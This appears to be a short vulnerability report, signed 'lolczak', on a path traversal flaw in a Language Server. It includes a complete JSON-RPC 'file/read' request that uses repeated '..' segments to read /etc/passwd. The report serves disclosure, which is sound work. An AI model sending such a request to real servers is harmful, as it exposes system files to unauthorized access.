Vulnerability: Path Traversal attack

[lolczak]

Using double dots as a segment of a path is possible to perform path traversal attack and access /etc/passwd.
Below there is a sample message used to perform 'dot-dot-slash' attack against the Language Server:

  {
    "jsonrpc": "2.0",
    "method": "file/read",
    "id": 2,
    "params": {
      "path": {
        "rootId": "de938b11-2f22-431b-bc81-9a3e41282f55",
        "segments": [
          "..",
          "..",
          "..",
          "..",
          "..",
          "etc",
          "passwd"
        ]
      }
    }
  }